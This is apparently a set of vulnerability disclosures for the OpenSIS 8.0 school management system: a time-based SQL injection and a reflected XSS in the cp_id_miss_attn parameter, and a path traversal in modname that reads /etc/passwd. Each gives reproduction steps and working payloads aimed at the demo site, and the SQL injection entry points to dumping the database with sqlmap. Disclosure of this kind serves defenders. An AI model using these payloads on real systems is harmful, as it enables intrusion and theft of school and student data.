OpenSIS 8.0 'cp_id_miss_attn' - SQL Injection

CVE-2021-40309

A SQL injection vulnerability exists in the Take Attendance functionality of OS4Ed's OpenSIS 8.0. allows an attacker to inject their own SQL query. The cp_id_miss_attn parameter from TakeAttendance.php is vulnerable to SQL injection. An attacker can make an authenticated HTTP request as a user with access to "Take Attendance" functionality to trigger this vulnerability.

Steps to reproduce:

1. Login as "Teacher" and navigate to "Attendance" then "Take Attendance". Capture the request on a web proxy such as BurpSuite

Or just navigate to the URL:

http://demo.opensis.com/Ajax.php?modn...

Vulnerable parameter: cp_id_miss_attn

SQLi payload: r AND (SELECT 1670 FROM (SELECT(SLEEP(10)))VSpq)

URL with the payload: http://demo.opensis.com/Ajax.php?modn... AND (SELECT 1670 FROM (SELECT(SLEEP(10)))VSpq)
&cpv_id_miss_attn=23&ajax=true

2. The page should load depends on the sleep

You can use manual queries to dump database information or use sqlmap.

PoC: https://youtu.be/GGHiPvdPRas

OpenSIS 8.0 'cp_id_miss_attn' - Reflected Cross-Site Scripting (XSS)

CVE-2021-40310

OpenSIS Community Edition version 8.0 is affected by a cross-site scripting (XSS) vulnerability in the TakeAttendance.php via the cp_id_miss_attn parameter.

Steps to reprocude:

1. Login as "teacher"
2. Navigate to: http://demo.opensis.com/Ajax.php?modname=users/TeacherPrograms.php?include=attendance/TakeAttendance.php&modfunc=attn&attn=miss&from_dasboard=1&date=Aug/9/2021&cp_id_miss_attn=27&cpv_id_miss_attn=23&ajax=true
3. In the 'cp_id_miss_att' parameter, insert the payload:

cp_id_miss_attn=rotf7 onmouseover=alert(document.domain) style=position:absolute;width:100%;height:100%;top:0;left:0; z3as5

4. The URL link with the payload should look like below.

http://demo.opensis.com/ForExport.php?modname=users/TeacherPrograms.php?include=attendance/TakeAttendance.php&modfunc=attn&attn=miss&from_dasboard=1&date=Aug/9/2021&cp_id_miss_attn=rotf7%20onmouseover%3dalert(document.domain)%20style%3dposition%3aabsolute%3bwidth%3a100%25%3bheight%3a100%25%3btop%3a0%3bleft%3a0%3b%20z3as5&cpv_id_miss_attn=23&ajax=true&include=attendance/TakeAttendance.php&month_date=Aug&day_date=9&year_date=2021&table=0&page=&LO_sort=&LO_direction=&LO_search=&LO_save=1&_openSIS_PDF=true

5. Open it on the browser and the XSS should trigger

PoC: https://youtu.be/WSNN7HBLO04

Exploit Title: OpenSIS 8.0 'modname' - Directory/Path Traversal

The 'modname' parameter in the 'Modules.php' is vulnerable to local file inclusion vulnerability. This vulnerability can be exploited to expose sensitive information from arbitrary files in the underlying system.

To exploit the vulnerability, someone must login as the "Parent" user, navigate to http://localhost/Modules.php?modname=miscellaneous%2fPortal.php. The 'modname' parameter and requests the Portal.php's contents. By going back a few directory using '..%2f' decoded as '../' it was possible to disclose arbitrary file from the server's filesystem as long as the application has access to the file.

1. Login as "Parent"
2. Open a web proxy such as BurpSuite and capture the requests
3. Navigate to http://demo.opensis.com/Modules.php?modname=miscellaneous%2fPortal.php..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&failed_login=
4. Check the response

PoC: https://youtu.be/wFwlbXANRCo